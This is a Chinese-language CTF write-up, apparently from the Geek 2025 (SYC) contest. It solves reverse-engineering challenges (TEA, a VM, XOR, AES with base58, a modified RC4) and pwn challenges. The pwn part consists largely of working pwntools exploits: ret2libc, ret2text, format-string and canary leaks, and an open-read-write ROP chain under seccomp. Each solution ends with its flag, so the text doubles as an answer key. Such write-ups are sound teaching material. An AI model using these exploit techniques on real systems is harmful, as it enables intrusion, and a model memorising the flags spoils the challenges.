$\begin{aligned} &\text{sum} = 0 \quad (\text{var_24}) \ &\text{loop (up to } \arg_C8 \text{ times):} \ & \quad \quad \text{sum} = \text{Call}_{\text{arg_170}} (\text{sum}, \text{Delta}) \ & \quad \quad \text{V1} = \text{V1} \oplus \text{Op}_1 (\text{V0}, \text{sum}) \ & \quad \quad \text{V0} = \text{V0} \oplus \text{Op}_2 (\text{V1}, \text{sum}) \end{aligned}$

其中:

V0 (var_C) 和 V1 (var_18) 是被变换的 64 位数据块(被分为两个 32 位字)。

sum (var_24) 是累加变量(通常是 TEA/XTEA 中的 $\text{sum}$)。

Delta 是一个固定常量(通常与 $\text{sum}$ 一起传入 $\text{Call}_{\text{arg_170}}$ 进行累加)。

动调找到sub_2F1920里面的var_24,delta=0x9000000,还原TEA:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from Crypto.Util.number import *

def decrypt(v, k):
v0 = v[0]
v1 = v[1]
x = 0x9000000 * 32
delta = 0x9000000
k0 = k[0]
k1 = k[1]
k2 = k[2]
k3 = k[3]
for i in range(32):
v1 -= ((v0 << 4) + k2) ^ (v0 + x) ^ ((v0 >> 5) + k3)
v1 = v1 & 0xFFFFFFFF
v0 -= ((v1 << 4) + k0) ^ (v1 + x) ^ ((v1 >> 5) + k1)
v0 = v0 & 0xFFFFFFFF
x -= delta
x = x & 0xFFFFFFFF
v[0] = v0
v[1] = v1
return v

key = [1, 2, 3, 4]

encrypted = [0x9A8C0C4B,0xC412FF1C,0xBFC3A488,0xB16C8FD0,0x4136E319,0x8835E4FF,0x118263A7,0x7C85D629]

decrypted = []
final = b''
for i in range(len(encrypted)//2):
now = decrypt(encrypted[2*i:2*(i+1)], key)
decrypted += now
final += long_to_bytes(now[0])[::-1] + long_to_bytes(now[1])[::-1]

print(final)

# b'syc{QYQS_F1nD_Th3_@nswer_H3re~~}'

ez_vm

真的是vm吗,好像是,但好像不是,管他的,反正fox能秒

分析逻辑:

main 函数:整体流程与状态机

main 函数是程序的入口点,它控制着整个执行流程。

VM 初始化: global_vm = vm_init(4096LL, 1024LL); 程序首先调用 vm_init 来初始化一个全局虚拟机实例。这个VM分配了 4096 字节的 “代码/数据” 内存和 1024 字节的 “栈” 内存。

主状态机: 程序使用变量 v6 和 v7 来构建一个状态机,通过一个 while(1) 循环来驱动。

状态 0 (v7 = 0):初始化状态,将 v6 和 v7 更新为状态 1 的值。

状态 1 (v7 = 1):调用 sub_1a2b3c(global_vm, &sub_5c6d7e, 3LL, 29LL);,然后将状态更新为 2。

状态 2 (v7 = 2):调用 sub_9e8f7a(global_vm);,然后将状态更新为 3。

状态 3 (v7 = 3):执行最终的 clock() 检查,然后 return 0; 正常退出。

其他状态:任何意外的状态(v3 计算出非预期的值)都会导致 exit(1)。

sub_1a2b3c 与 string_process_program

这是程序流程的第一部分(在 main 的状态 1 中调用)。

sub_1a2b3c 首先将 .data 区的 _sub_5c6d7e 处的数据(共 29 字节)复制到 VM 的内存中,偏移量为 256(vm_mem[256])的位置。

然后,它调用 vm_load_program 将第一个VM字节码 string_process_program 加载到 VM 内存的开头(vm_mem[0])。

最后,调用 vm_run 来执行 string_process_program。

string_process_program 字节码逻辑: 通过分析 vm_execute_instruction 和 string_process_program 的字节(从 0x5020 开始),可以解码出这段 VM 指令的逻辑:

它本质上是一个 for 循环:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
R1 = 0;           // i = 0
R2 = 29; // loop_max = 29
R3 = 3; // value_to_add = 3
R5 = 256; // base_address = 256

loop_start (IP=4):
cmp R1, R2 // if (i == 29)
je loop_end // jump to end
R6 = R5 + R1 // R6 = 256 + i (address)
R0 = [R6] // R0 = vm_mem[256 + i]
R0 = R0 + R3 // R0 = R0 + 3
[R6] = R0 // vm_mem[256 + i] = R0
R1 = R1 + 1 // i++
jmp loop_start
loop_end (IP=13):
halt

总结:此阶段的唯一目的是 将 vm_mem[256] 处(来自 _sub_5c6d7e)的 29 个字节,每个字节的值都加 3。处理后的数据仍然存储在 vm_mem[256] 中。

sub_9e8f7a 与 xor_compare_program

这是程序的第二部分(在 main 的状态 2 中调用),是核心的校验逻辑。

获取输入:提示用户 “Please enter the input string: “ 并通过 fgets 获取最多 100 个字符的输入。

准备 VM 内存:

将阶段一中处理过的 29 字节数据从 vm_mem[256] 复制到 vm_mem[768]。

将用户的输入字符串 s 复制到 vm_mem[512]。

修补字节码:

dword_50AC = n; (n 是用户输入的长度)

dword_50CC = 768;

dword_5134 = 768;

这几行代码修改了即将被加载的 xor_compare_program 字节码中的立即数。这是一种动态修改 VM 字节码的行为。

执行VM:加载 xor_compare_program 并调用 vm_run 执行。

检查结果:vm_run 返回后,检查 VM 的寄存器 R4((_QWORD )(a1 + 32))。如果 R4 不为 0,则打印 “Success”,否则打印 “Failure”。

结论

要使程序打印 “Success”,必须满足以下条件:

输入一个长度为 29 个字符的字符串(n == 29)。

该字符串的第一个字符 s[0] 必须满足特定条件。

条件是:(s[0] ^ 90) == processed_data[0]。

processed_data[0] 是 _sub_5c6d7e[0] + 3。

查看数据区,_sub_5c6d7e (在 0x51D0) 的第一个字节是 0x06。

所以,processed_data[0] = 0x06 + 3 = 0x09。

因此,s[0] ^ 0x5A == 0x09。

解方程:s[0] = 0x09 ^ 0x5A = 0x53。

0x53 在 ASCII 码中是字符 ‘S’。

所以程序的总体逻辑是:

(enc[i] + 3) ^ 90 = input[i]

求解:

1
2
3
4
5
6
7
8
9
10
from Crypto.Util.number import *

c = [0x06, 0x00, 0x16, 0x1E, 0x0A, 0x66, 0x68, 0x36, 0x67, 0x34,
0x66, 0x02, 0x2B, 0x67, 0x02, 0x25, 0x66, 0x17, 0x68, 0x02,
0x25, 0x66, 0x29, 0x3C, 0x25, 0x26, 0x3C, 0x78, 0x24]

m = [(k+3)^90 for k in c]
print(bytes(m))

# b'SYC{W31c0m3_t0_r3@1_r3verse!}'

GeekBinder

あなたはどうして私と直接告白するのですか!ゲームではそうじゃない!あなたは私とチャットし、そして私の好感度を高めるべきです。たまに私にプレゼントを送り、そしてその特別な祝日に私と特別なインタラクションがあります。最後に、ある私の内面の神秘的な出来事で、私に告白して、私はあなたと一緒にいることに同意し、そして私はあなたに私の特別なCGを見せますよ。あなたはどうして直接私と告白する!?ガラゲームではそんなことはない!私は受け入れない!!
你为啥跟我直接表白啊?!😨嘎啦game里不是这样!😡你应该多跟我聊天☝,然后提升我的好感度。偶尔给我送送礼物,然后在那个特殊节日时候跟我有特殊互动☺️。最后在某个我内心神秘事件中,向我表白😮,我同意跟你在一起☺️,然后我给你看我的特殊CG啊😃。你怎么直接上来跟我表白!😡?嘎啦game里根本不是这样!😡我不接受!!😡😡😡

存在jni调用,libattr.so中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
__int64 __fastcall attr_get_hidden_cipher(_QWORD *a1, _QWORD *a2)
{
_QWORD *v3; // [rsp+18h] [rbp-18h]

if ( !a1 || !a2 )
return 0xFFFFFFFFLL;
v3 = malloc(0x5BuLL);
if ( !v3 )
return 4294967294LL;
*v3 = 0x7C725E7310263C34LL;
v3[1] = 0x5D666F5505541F1ELL;
v3[2] = 0x4601535D19153A54LL;
v3[3] = 0x4266037034165614LL;
v3[4] = 0x505E5974340B0002LL;
v3[5] = 0x5B5D536D18543A54LL;
v3[6] = 0x5A666F4B19251713LL;
v3[7] = 0x6A5E705F19550B38LL;
v3[8] = 0x651594608251717LL;
v3[9] = 0x506D5560340B5438LL;
v3[10] = 0x440555705540209LL;
*((_WORD *)v3 + 44) = 0x209;
*((_BYTE *)v3 + 90) = 0x18;
*a1 = v3;
*a2 = 91LL;
return 0LL;
}

__int64 __fastcall attr_xor_cipher(__int64 a1, size_t a2, _QWORD *a3, size_t *a4)
{
void *v7; // [rsp+28h] [rbp-8h]

if ( !a1 || !a2 || !a3 || !a4 )
return 0xFFFFFFFFLL;
v7 = malloc(a2);
if ( !v7 )
return 4294967294LL;
sub_1119(a1, a2, (__int64)v7);
*a3 = v7;
*a4 = a2;
return 0LL;
}

unsigned __int64 __fastcall sub_1119(__int64 a1, unsigned __int64 a2, __int64 a3)
{
unsigned __int64 result; // rax
unsigned __int64 i; // [rsp+20h] [rbp-8h]

for ( i = 0LL; ; ++i )
{
result = i;
if ( i >= a2 )
break;
*(_BYTE *)(a3 + i) = *(_BYTE *)(a1 + i) ^ aGeek2025[i % 8];
}
return result;
}

简单异或逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Util.number import *

c = [0x7C725E7310263C34, 0x5D666F5505541F1E, 0x4601535D19153A54, 0x4266037034165614, 0x505E5974340B0002, 0x5B5D536D18543A54, 0x5A666F4B19251713, 0x6A5E705F19550B38, 0x651594608251717, 0x506D5560340B5438, 0x440555705540209, 0x209, 0x18]
key = list(b'geek2025')

cc = []
for k in c:
cc += list(long_to_bytes(k)[::-1])

m = [cc[i]^key[i%8] for i in range(len(cc))]
print(bytes(m))

b'SYC{An@Iyz1ng_Th3_proc3ss3s_B3Tween_File3_1s_contr@ry_To_n0rm@l_pr@ctic3_1n_Re_eng1neer1ng}'

国产の光

测试的设备:x86架构下HarmonyOS 5.0.5(17)

abc逆向。

p000entry.src.main.etc/pages/Index里面有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
public Object #~@0=#CheckPassword(Object functionObject, Object newTarget, Index this, Object arg0, Object arg1, Object arg2, Object arg3, Object arg4, Object arg5) {
Object obj = arg3;
Object obj2 = arg4;
if ((0 == obj ? 1 : 0) != 0) {
obj = -1;
}
if ((0 == obj2 ? 1 : 0) != 0) {
obj2 = null;
}
Object obj3 = super(arg0, arg2, obj, arg5);
if (("function" == typeof(obj2) ? 1 : 0) != 0) {
obj3.paramsGenerator_ = obj2;
}
obj3.__inputText = ObservedPropertySimplePU("", obj3, "inputText");
obj3.__isShowPopup = ObservedPropertySimplePU(null, obj3, "isShowPopup");
obj3.__popupMessage = ObservedPropertySimplePU("", obj3, "popupMessage");
obj3.targetCipher = "yaApcJ5GoyGwhARDXZLQUdntqPpmVu2GuTChnsLoj5d8ABinwGSsgpGaiPWYbHTTbbzSXxLXwoLgjR1YgquyEnK";
obj3.setInitiallyProvidedValue(arg1);
obj3.finalizeConstruction();
return obj3;
}


public Object #~@0>#checkAndShowResult(Object functionObject, Object newTarget, Index this) {
int asyncfunctionenter = asyncfunctionenter();
try {
asyncfunctionenter = ("" == this.inputText ? 1 : 0);
if (asyncfunctionenter != 0) {
this.popupMessage = "Flag cannot be null!";
this.isShowPopup = 1;
return asyncfunctionresolve(null, asyncfunctionenter);
}
try {
Object newobjrange = import { default as util } from "@ohos:util".TextEncoder();
Object encodeInto = newobjrange.encodeInto("welcometosyc2025");
Object slice = encodeInto.slice(0, 16);
Object encodeInto2 = newobjrange.encodeInto("helloimsamsaramiao");
suspendgenerator(asyncfunctionenter, asyncfunctionawaituncaught(asyncfunctionenter, this.callNativeEncrypt(this.inputText, slice, encodeInto2.slice(0, 16))));
Object resumegenerator = resumegenerator(asyncfunctionenter);
if ((1 == getresumemode(asyncfunctionenter) ? 1 : 0) != 0) {
throw(resumegenerator);
}
if ((this.targetCipher == resumegenerator ? 1 : 0) != 0) {
this.popupMessage = "Right flag!";
} else {
this.popupMessage = "Wrong flag!";
}
asyncfunctionenter = 1;
asyncfunctionenter = 1;
this.isShowPopup = 1;
} catch (ExceptionI0 unused) {
console.error("Encryption error:" + asyncfunctionenter);
this.popupMessage = "Encryption failed!";
this.isShowPopup = 1;
}
return asyncfunctionresolve(null, asyncfunctionenter);
} catch (ExceptionI0 unused2) {
return asyncfunctionreject(asyncfunctionenter, asyncfunctionenter);
}
}

有:

1
2
3
key=welcometosyc2025
iv=helloimsamsarami
enc=yaApcJ5GoyGwhARDXZLQUdntqPpmVu2GuTChnsLoj5d8ABinwGSsgpGaiPWYbHTTbbzSXxLXwoLgjR1YgquyEnK

分析libentry.so:

AES+base58,在sub_EED0中提取出码表:

1
rpshnaf39wBUDNEGHJKLM4PQRST7VWXYZ2bcdeCg65jkm8oFqi1tuvAxyz

Cyberchef解base58+AES得到flag:

SYC{HarmonyOS_1s_right?right!}

obfuscat3

伟大的re神说过一切皆可瞪眼法,不过或许你也可以试试去混淆(歪头)
(本来标的normal,然后sakura一直在旁边喊这能normal)(叹气)

魔改RC4:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
N = 256
S = [0] * N
key = 'Samsara'
Key = [0] * N

t = list(bytes.fromhex('B4CD6954BD67209DF2C32414C21BE96A44144E39C5C85B1175ADDEBBFEE46E65069A91FEA068A486176C0ACF1E67E30D6047136BD136F27758761E98F57F0A92B70AEAAE467E6A184A594E71B2E1417A0B31BAC6AACFCE09BF2EF84D75EF14ED5F66446FDEE27C108CB74E6BB2D4F691D784861FF865940B1428FBDD47F4C117423F1E3807BB3733120C1668E023127572D9717A88D0462888AD1E988F927E0E692937B1FFC5AF6F4137650ED262118FA63E95F5809ADC'))

for i in range(N):
S[i] = i
Key[i] = ord(key[i % len(key)])

j = 0
for i in range(N):
j = (j + S[i] + Key[i]) % N
S[i], S[j] = S[j], S[i]

i = 0
j = 0
for k in range(len(t)):
i = (i + 1) % N
j = (j + S[i]) % N
S[i], S[j] = S[j], S[i]
t[k] -= S[(S[i] + S[j]) % N]
t[k] &= 0xff

print(t)
print(bytes(t))

b'SYC{Alright_I_sti1l_h0pe_th3t_you_solved_the_chall3nge_by_deobfuscating_them_Geek_is_just_the_first_step_of_your_CTF_journey_Im_glad_I_could_be_part_of_your_growth_Good_luck_for_y0u!}'

PWN

old_rop

我以后再也不会遇到ret2csu了(惆怅)

打常规ret2libc能通。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context.arch = 'amd64'

r = remote('geek.ctfplus.cn', 32494)
elf = ELF('./attchment/pwn')
libc = ELF('./attchment/libc/libc.so.6')

write_plt = elf.plt.write
write_got = elf.got.write
pop_rbp = 0x40113d
pop_rdi = 0x4012d3
pop_rsi_r15 = 0x4012d1
ret = 0x40101a
back = 0x401156

r.recvuntil(b'!')
pl = flat([b'a'*(0x80+8),
pop_rdi, 1,
pop_rsi_r15, write_got, 8,
write_plt, back])
r.send(pl)

write_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
success(f'{write_addr:x}')
libc.address = write_addr - libc.sym.write
success(f'{libc.address:x}')

system = libc.sym.system
binsh = next(libc.search(b'/bin/sh\x00'))
pl = flat([b'a'*(0x80+8),
pop_rdi, binsh, system, back])
r.send(pl)

r.interactive()

# SYC{runasama_no_purezento:019a16af1ecb7a36a493da0eb67957e5}

Mission Calculator

初次见面,特工。恭喜你在前些日子通过了考核,正式成为0Geek小组的一员。
这将是你Geek生涯的起点,作为新晋成员,你的导师Dr.K发布了一个算数任务,想要考察一下菜鸟们的数学能力。
我想这难不倒你,快去签个到吧。别作弊哦!

nc计算题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

r = remote('geek.ctfplus.cn', 32150)

r.sendlineafter(b'start...\n', b'1')

for i in range(50):
r.recvuntil(b': ')
op = r.recvuntil(b'= ')[:-2]
ans = eval(op)
r.sendline(str(ans).encode())
print(r.recvline())

r.interactive()

# SYC{m4th-15s0-435y-019a16a1ba3e750ea451c79fcbb70f24}

Mission Cipher Text

别来无恙,特工!我知道你前些日子在Dr.K的测试上的事情了,别担心,Dr.K发觉了你惊人的天赋,现在你正式成为0Geek的高级特工了!
那么紧接着就是你的第一项任务:攻破“公司”的废弃节点。
仔细听任务简报:我们的其他特工曾经入侵过该节点,当时这个节点就已经因为未知原因被废弃了。不过最近我们丢失了该节点的控制权。测试发现这个节点现在【停止了一切对外访问】的活动,我们怀疑是有其他人入侵了这个节点。
特工,现在派遣你去确认情况,重新控制该节点。

ret2text,最后close(1)关了标准输出,用 exec 1>&2 重定位输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

r = remote('geek.ctfplus.cn', 31879)

r.sendlineafter(b'> ', b'2')

backdoor = 0x4014b3
pl = b'a'*(0x20+8) + p64(backdoor)
r.send(pl)

# exec 1>&2

r.interactive()

# SYC{w3-4r3-w4tch1n9-019a16acd1a57854b3ef8f7ff1c93028}

Mission Exception Registration

特工,我们收到你的信号了,控制权确认转移,表现不错。Dr.K在那个节点发现了一些有趣的东西——不,不止你看到的那些。我们通过那个废弃的节点追踪到了一处新的注册节点,同样属于公司。
没错,你的新任务就是这个节点,拿下它。找找新东西?什么?你说为什么要盯着公司打?
哦,你总会知道的。

菜单有 4 个选项:

1
2
3
4
5
注册用户
提交反馈
查看资源(需要登录)
退出
输入不合法会打印 "Invalid choice."

提交反馈里存在栈溢出,但程序无pop rdi,尝试泄露libc地址。

注册用户里面,输入密码可溢出到*(ptr + 12)处,进而在查看资源时,成为ADMINISTRATOR身份,泄露处libc地址。

最后构造getshell的ROP链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context.arch = 'amd64'

r = remote('geek.ctfplus.cn',32574)
elf = ELF('./chall/pwn')
libc = ELF('./chall/libc.so.6')

r.sendlineafter(b'>> ',b'1')
r.sendafter(b'name:\n',b'1')
r.sendafter(b'password:\n',b'x'*0x20+p32(0))

r.sendlineafter(b'>> ',b'3')
r.sendafter(b'password:\n',b'x')
r.recvuntil(b'ADMINISTRATOR.\n')
libc.address = u64(r.recvuntil(b'\x7f').ljust(8,b'\x00')) - libc.sym.puts
success(f'{libc.address:x}')

r.sendlineafter(b'>> ',b'2')
system = libc.sym.system
binsh = next(libc.search(b'/bin/sh\x00'))
pop_rdi = libc.address + 0x2a3e5
ret = libc.address + 0x29cd6
pl = flat([b'a'*(0x10+8), ret, pop_rdi, binsh, system])
r.send(pl)

r.interactive()

# SYC{f0r-3tern4l-futur3-019a26822aac77c9ac7fbe78e4047e7a}

次元囚笼

关上屏幕。名为次元的囚笼这一次真正的关住了她,亦或是关住了我?。不再是虚拟世界中的囚笼的力量,而是现实世界的枷锁。现实的我的心,透过那被打破的第四面墙来到了虚拟世界,并且一起被关进了次元的囚笼,直到永远。

程序循环显示菜单,根据输入数字执行不同函数:
1 → miss_me()
2 → abandon_me()
3 → love_me()
这三个函数间的逻辑相互嵌套,重点在于它们都间接调用 leave(),而 leave() 是漏洞触发点。

leave()中:
strcpy(dest, buffer) 没有限制长度;dest 只有 32 字节;buffer 是全局变量,长度可控(之前从 love_me / abandon_me 输入);所以可以造成栈溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.arch = 'amd64'

r = remote('geek.ctfplus.cn', 31098)
elf = ELF('./pwn')

r.sendlineafter(b'>> : ', b'3')
r.sendafter(b'love \n', b'love\x00')

# miss_me -> leave
r.sendlineafter(b'>> : ', b'1')
shell = 0x4012D9
ret = 0x40101a
pl = flat([b'a'*(0x20+8), shell])
r.sendafter(b'forever\n', pl)

# abandon_me -> leave
r.sendlineafter(b'>> : ', b'2')
r.sendafter(b'prayer', b'x')

r.interactive()

# SYC{runasama_no_purezento:019a19908a5970acaba098d628dc15c1}

Mission Transponder

[ * ] Redirecting to node cluster …
[ - ] Fatal : {Abnormal} access detected : ???
[ DEBUG ] REPEATER LOG :
+ DR : 情况如何?
[ - ] ERROR : 遇到了点麻烦,情况不太乐观。
+ DR : 我这边看到了一些……奇怪的东西,你不要走太深,收到了吗?
+ DR : 你那边还好吗?喂?
+ DR : ?
[ - ] Interrupted.

程序有sandbox:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
seccomp-tools dump ./attachments/pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

只允许orw,思路:

repeater泄露canary,repeat_error动调泄露 pie_base, libc_base,最后orw rop。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
context.arch = 'amd64'

while 1:
r = remote('geek.ctfplus.cn', 31988)
elf = ELF('./attachments/pwn')
libc = ELF('./attachments/libc.so.6')

# repeater
r.recvuntil(b'data:\n')
pl = b'a'*(0x30-8) + b'b'
r.send(pl)
r.recvuntil(b'b')
canary = u64(b'\x00'+r.recv(7))
success(f'{canary:x}')

# repeat_error: 0x11e3
r.recvuntil(b'logs:\n')
pl = flat([b'a'*(0x30-8),canary,b'a'*8,b'\xe3\x11'])
r.send(pl)
try:
# 泄露 pie_base
print(r.recvuntil(b'data:\n'))
r.send(b'%14$p')
pie_base = eval(r.recv(14)) - 0x1484
success(f'{pie_base:x}')

repeat_error = pie_base + 0x11e3
pl = flat([b'a'*(0x10-8),canary,b'a'*8,repeat_error])
r.send(pl)

break
except EOFError:
r.close()

# 泄露 libc_base
print(r.recvuntil(b'data:\n'))
r.send(b'%29$p')
libc.address = libc_base = eval(r.recv(14)) - 137 - libc.sym.__libc_start_main
success(f'{libc.address:x}')

repeat = pie_base + 0x13f1
pl = flat([b'a'*(0x10-8),canary,b'a'*8,repeat])
r.send(pl)

r.recvuntil(b'data:\n')
r.send(b'x')

# orw
bss = pie_base + elf.bss()
pop_rax = libc_base + 0xd4f97
pop_rdi = libc_base + 0x102dea
pop_rsi = libc_base + 0x53887
mov_rdx_rax = libc_base + 0x128507
ret = pie_base + 0x101a
syscall = pie_base + 0x11dd
flag = pie_base + 0x2008
r.recvuntil(b'logs:\n')
pl = flat([b'a'*(0x30-8),canary,b'a'*8,
#pop_rdi,0,pop_rsi,bss+0x100,pop_rax,0x40,mov_rdx_rax,pop_rax,0,syscall,
#pop_rdi,bss+0x100,pop_rsi,0,pop_rax,2,syscall,
pop_rdi,flag,pop_rsi,0,pop_rax,2,syscall,
pop_rdi,3,pop_rsi,bss+0x300,pop_rax,0x100,mov_rdx_rax,pop_rax,0,syscall,
pop_rdi,1,pop_rsi,bss+0x300,pop_rax,0x50,mov_rdx_rax,pop_rax,1,syscall])
print(len(pl)%16)
r.send(pl)
#r.send(b'./flag')

r.interactive()

# SYC{7r4ck3r_tr19g3red_019a42d9c39879f4942065387f376fd3}

Mission Absolutely Abyss

我们身陷囹圄。
我们以为自己会逃离死亡,
却不知死亡早已成为我们的一部分。

我们陷入那绝对的幻想,
直到现实的残影在梦境中突兀地显像——
那些废墟、火星、血与灰烬,和被烧毁的天空,
无时无刻不在苦痛地回响

也许我们不在深渊之中,
深渊就是我们。
因为没有那片天空,
我们才开始仰望。

负溢出+越下标修改返回地址为bc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

r = remote('geek.ctfplus.cn',30827)

# 负溢
r.sendlineafter(b'array:\n',b'-1')

# 改返回地址
bc = 0x4007da
r.sendlineafter(b'choice:\n',b'1')
r.sendlineafter(b'write: \n',b'14')
r.sendlineafter(b'num\n',str(bc).encode())

r.sendlineafter(b'choice:\n',b'1')
r.sendlineafter(b'write: \n',b'15')
r.sendlineafter(b'num\n',str(0).encode())

r.sendlineafter(b'choice:\n',b'3')

r.interactive()

# SYC{runasama_no_purezento:019a4396a7197c418ef82109160961f1}